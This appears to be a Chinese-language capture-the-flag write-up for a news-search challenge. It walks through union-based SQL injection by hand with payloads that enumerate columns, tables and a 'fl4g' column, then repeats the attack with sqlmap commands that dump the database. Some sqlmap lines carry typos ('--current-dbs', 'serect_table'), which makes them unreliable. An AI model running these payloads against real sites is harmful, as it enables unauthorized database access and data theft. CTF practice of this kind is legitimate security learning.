打开环境，功能点只有一个查找新闻，猜测是sql注入
?
一.手工注入
?从最基础的联合查询注入开始
1正常 1'报错 1' '正常 猜测为字符型注入，单引号闭合
1' order by 1,2,3 ;' 正常 1' order by 1,2,3,4 ;'报错可见一共3列 （;将前后语句分开，'闭合后面的语句，也可以用#注释掉后面的语句）
1' union select 1,2,3;' ?页面显示2和3，则2和3为显示位
?
1' union select 1,database(),3 ;' 查询数据库名，结果为news
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='news';' 查询表名，有两个表
1' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name="secret_table" ;'查询secret_table表里的列名，有两个
1' union select 1, fl4g,3 from secret_table;'查询fl4g里面的字段,出现flag
?
二.sqlmap
搜索框中填入内容，如‘1’，回车搜索抓包，将抓到包的内容保存在txt文档里
使用sqlmap的-r进行注入如下，其中C:\Users\xxx\Desktop\1.txt为保存数据包的txt文件绝对路径
#查找数据库
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" --dbs
#或查找当前数据库
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" --current-dbs
#查找news数据库中的表
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" -D news --tables
?
?#查找secret_table表中的列
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" -D news -T serect_table --columns
?
#查找fl4g列中的字段（内容），出现flag
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" -D news -T serect_table -C fl4g --dump
?